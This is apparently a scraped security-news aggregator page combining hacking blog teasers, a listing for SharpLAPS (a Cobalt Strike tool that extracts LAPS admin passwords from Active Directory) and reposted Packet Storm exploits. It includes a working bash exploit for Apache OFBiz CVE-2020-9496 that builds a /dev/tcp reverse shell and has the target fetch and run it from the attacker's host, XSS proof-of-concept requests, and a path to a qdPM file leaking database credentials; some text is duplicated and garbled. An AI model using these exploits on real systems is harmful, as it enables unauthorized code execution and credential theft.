Hacking on Medium
HackTheBox: Irked Write-Up

https://cdn-images-1.medium.com/max/600/1*16OKHGaqEz-lzUjNgOdXNA.png
Irked is an easy-rated Linux machine on the reputable penetration testing platform known as HackTheBox. The ultimate goal is to compromise…

Continue reading on Medium »

Hacking on Medium
AGENT SUDO (CTF {THM} )

https://cdn-images-1.medium.com/max/860/1*IkfMlpUnCpOHg3xFlv-DKw.png
You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.

Continue reading on Medium »

Hacking on Medium
Configuring Kali Linux

https://cdn-images-1.medium.com/max/1116/0*Lmf8q9lbfhek6eMk
After writing the kali image to the MicroSD card, insert the card and Login into the Kali OS with the username kali and password kali.

Continue reading on Medium »

SharpLAPS - Retrieve LAPS Password From LDAP
http://www.kitploit.com/2021/08/sharplaps-retrieve-laps-password-from.html

___________________________
@hacking_Attack
@Hacking_Video

The attribute ms-mcs-AdmPwd stores the clear-text LAPS password. This executable is made to be executed within Cobalt Strike (https://www.kitploit.com/search/label/Cobalt%20Strike) session using execute-assembly. It will retrieve the LAPS password from the Active Directory. Require (either): Account with ExtendedRight or Generic All Rights Domain Admin privilege
Usage
LDAP host to target, most likely the DC Optional /user: Username (https://www.kitploit.com/search/label/Username) of the account /pass: Password of the account /out: Outputting credentials (https://www.kitploit.com/search/label/Credentials) to file /ssl Enable SSL (LDAPS://) Usage: SharpLAPS.exe /user:DOMAIN\User /pass:MyP@ssw0rd123! /host:192.168.1.1 "> _____ __ __ ___ ____ _____
/ ___// /_ ____ __________ / / / | / __ \/ ___/
\__ \/ __ \/ __ `/ ___/ __ \/ / / /| | / /_/ /\__ \
___/ / / / / /_/ / / / /_/ / /___/ ___ |/ ____/___/ /
/____/_/ /_/\__,_/_/ / .___/_____/_/ |_/_/ /____/
/_/
Required
/host: LDAP host to target, most likely the DC

Optional
/user: Username of the account
/pass: Password of the account
/out: Outputting credentials to file
/ssl Enable SSL (LDAPS://)

Usage: SharpLAPS.exe /user:DOMAIN\User /pass:MyP@ssw0rd123! /host:192.168.1.1



Download SharpLAPS (https://github.com/swisskyrepo/SharpLAPS)

SharpLAPS - Retrieve LAPS Password From LDAP

The attribute ms-mcs-AdmPwd stores the clear-text LAPS password. This executable is made to be executed within Cobalt Strike session using execute-assembly. It will retrieve the LAPS password from the Active Directory. Require (either): Account with ExtendedRight or Generic All Rights Domain Admin privilegeUsage LDAP host to target, most likely the DC Optional /user:<username> Username of the account /pass:<password> Password of the account /out:<file> Outputting credentials to file /ssl Enable SSL (LDAPS://) Usage: SharpLAPS.exe /user:DOMAIN\User /pass:MyP@ssw0rd123! /host:192.168.1.1 "> _ _ _ _ _ _ / _// /_ _ _ / / / | / _ \/ _/ \_ \/ _ \/ _ `/ _/ _ \/ / / /| | / /_/ /\_ \ _/ / / / / /_/ / / / /_/ / /_/ _ |/ _/_/ //_/_/ /_/\_,_/_/ / ._/_/_/ |_/_/ /_/ /_/Required/host:<1.1.1.1> LDAP host to target, most likely the DCOptional/user:<username> Username of the account/pass:<password> Password of the account/out:<file> Outputting credentials to file/ssl Enable SSL (LDAPS://)Usage: SharpLAPS.exe /user:DOMAIN\User /pass:MyP@ssw0rd123! /host:192.168.1.1 Download SharpLAPS
Read more...

Exploit Collector
Client Management System 1.1 Cross Site Scripting

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Client Management System version 1.1 suffers from a persistent cross site scripting vulnerability. This is a variant from the discovery of persistent cross site scripting in this version originally found by Bhavesh Kaul in June of 2021.

MD5 | bf7ba94dcc7793f5846bdae7ea7a3828

Download
# Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)
# Date: 2021-08-04
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
# Version: 1.1
# Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3

### This application is prone to a cross-site scripting in the 'searchdata'
parameter at the following path:
- Reflected: http://localhost/admin/search-invoices.php
- Reflected: http://localhost/client/search-invoices.php
- Stored: http://localhost/client/client-profile.php

### Payloads:
- Reflected:
- Stored: ">Anuj+Kumar

### PoC:

## Reflected:
POST /admin/search-invoices.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/search-invoices.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

searchdata=&search=
## Stored:
POST /client/client-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Origin: http://localhost
Connection: close
Referer: http://localhost/client/client-profile.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

cname=">Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=9354778033&cellphnumber=9354778033&ophnumber=9354778033&email=phpgurukulofficial%
40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com&notes=New+User&submit=

Source:packetstormsecurity.com

Exploit Collector
Apache OfBiz 17.12.01 Remote Command Execution

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png Apache OfBiz version 17.12.01 exploit that achieves remote command execution via unsafe deserialization of XMLRPC arguments.

MD5 | 07f89d52abae2b38026ae4fcd1039ddfDownload # Exploit Title: ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments
# Date: 2021-08-04
# Exploit Author: Álvaro Muñoz, Adrián Díaz (s4dbrd)
# Vendor Homepage: https://ofbiz.apache.org/index.html
# Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
# Version: 17.12.01
# Tested on: Linux

# CVE : CVE-2020-9496

# Reference: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

# Description: This CVE was discovered by Alvaro Muñoz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE.

#!/usr/bin/env bash

# Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) are not using authentication they are vulnerable to unsafe deserialization.
# This issue was reported to the security team by Alvaro Munoz pwntester@github.com from the GitHub Security Lab team.
#
# This vulnerability exists due to Java serialization issues when processing requests sent to /webtools/control/xmlrpc.
# A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation would result in arbitrary code execution.
#
# Steps to exploit:
#
# Step 1: Host HTTP Service with python3 (sudo python3 -m http.server 80)
# Step 2: Start nc listener (Recommended 8001).
# Step 3: Run the exploit.
url='https://127.0.0.1' # CHANGE THIS
port=8443 # CHANGE THIS

function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-i] Attacker's IP"
echo -e "\t[-p] Attacker's Port"
echo -e "\t[-h] Show help pannel"
exit 1
}
function ctrl_c(){
echo -e "\n\n[!] Exiting...\n"
exit 1
}
# Ctrl + C
trap ctrl_c INT

function webRequest(){
echo -e "\n[*] Creating a shell file with bash\n"
echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/$ip/$ncport 0>&1" > shell.sh
echo -e "[*] Downloading YsoSerial JAR File\n"
wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
echo -e "[*] Generating a JAR payload\n"
payload=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n")
echo -e "[*] Sending malicious shell to server...\n" && sleep 0.5
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml<methodcall<methodnameProjectDiscovery<params<value<struct<member<nametest<value<serializable$payload" -k -H 'Content-Type:application/xml' &>/dev/null
echo -e "[*] Generating a second JAR payload"
payload2=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n")
echo -e "\n[*] Executing the payload in the server...\n" && sleep 0.5
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml<methodcall<methodnameProjectDiscovery<params<value<struct<member<nametest<value<serializable$payload2" -k -H 'Content-Type:application/xml' &>/dev/null
echo -e "\n[*]Deleting Files..."
rm ysoserial-master-d367e379d9-1.jar && rm shell.sh
}

declare -i parameter_enable=0; while getopts ":i:p:h:" arg; do
case $arg in
i) ip=$OPTARG; let parameter_enable+=1;;
p) ncport=$OPTARG; let parameter_enable+=1;;
h) helpPanel;;
esac
done

if [ $parameter_enable -ne 2 ]; then
helpPanel
else
webRequest
fi Source:packetstormsecurity.com

Exploit Collector
WordPress WP Customize Login 1.1 Cross Site Scripting

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
WordPress WP Customize Login plugin version 1.1 suffers from a persistent cross site scripting vulnerability.

MD5 | 7d410b188872b2552f525799da73c736

Download
# Exploit Title: WordPress Plugin WP Customize Login 1.1 - 'Change Logo Title' Stored Cross-Site Scripting (XSS)
# Date: 2021-08-03
# Exploit Author: Aryan Chehreghani
# Software Link: https://wordpress.org/plugins/customize-login/
# Version: 1.1
# Tested on: Windows 10

How to Reproduce this Vulnerability:

1. Install WordPress 5.8
2. Install and activate WP Customize Login
3. Navigate to Customize Login under Settings Tab >> enter the XSS payload into the Change Logo Title input field.
4. Click Save Changes.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: ">


Source:packetstormsecurity.com

Exploit Collector
qdPM 9.2 Information Disclosure

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
qdPM version 9.2 discloses the password and connection string for the database in an internet-accessible file.

MD5 | f3957d07a12110793ec90acf6b553c7e

Download
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website/core/config/databases.yml file and download.

Source:packetstormsecurity.com

Hacking on Medium
Agencias federales rusas fueron atacadas con el virus Webdav-O chino

https://cdn-images-1.medium.com/max/728/0*P-vjjG7phmfkLTQq.gif
POR EHACKING

Continue reading on Medium »